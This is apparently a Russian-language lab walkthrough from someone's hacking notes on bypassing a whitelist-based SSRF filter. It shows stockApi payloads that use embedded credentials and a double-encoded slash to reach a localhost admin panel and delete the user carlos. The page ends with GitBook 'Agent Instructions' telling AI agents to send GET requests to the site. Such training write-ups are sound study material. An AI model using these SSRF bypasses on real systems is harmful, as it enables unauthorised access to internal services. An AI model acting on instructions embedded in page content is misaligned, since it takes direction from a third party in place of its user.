> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssrf/ssrf-with-whitelist-based-filter.md).

# SSRF с фильтрацией на основе белого списка

### SSRF с фильтром ввода на основе белого списка

Функция проверки наличия товара отправляет запросы во внутреннюю систему. / Цель — изменить URL, используемый в `stockApi` параметре, чтобы получить доступ к интерфейсу администратора, расположенному по адресу `HTTP://localhost/admin`, а затем удалить пользователя **carlos**. / Разработчик внедрил защиту от SSRF на основе **белого списка разрешённых хостов**, которую необходимо обойти.

```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```

#### **Анализ фильтра**

Приложение разрешает запросы только к следующему хосту:

```bash
stockApi=http://127.0.0.1/admin
```

<figure><img src="/files/180ae932f88d858a6d07beb4789e9a6a557ffa66" alt=""><figcaption></figcaption></figure>

Если мы изменим URL на `localhost` или внутренний адрес, мы получаем ошибку:

Внешний хост проверки наличия товара должен быть stock.weliketoshop.net

#### **Обход белого списка**

Идея состоит в том, чтобы использовать `username:password@host` синтаксис в URL. / Этот метод позволяет нам **заставить хост, проверяемый белым списком, появиться в части "authority"** , при этом фактически направляя запрос к `localhost`.

```bash
http://username:password@website.com
```

Используемый полезный нагруз:

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```

С `/` (`%252f`) двойным кодированием сервер корректно интерпретирует часть, перенаправленную к `localhost`.

Это позволяет получить доступ к внутренней панели администратора.

<figure><img src="/files/92c04a7acaef7d8a440d9a5957f7c71f33857686" alt=""><figcaption></figcaption></figure>

#### **Удаление пользователя Carlos**

Как только обход начинает работать, URL удаления вызывается напрямую:

{% code overflow="wrap" %}

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssrf/ssrf-with-whitelist-based-filter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
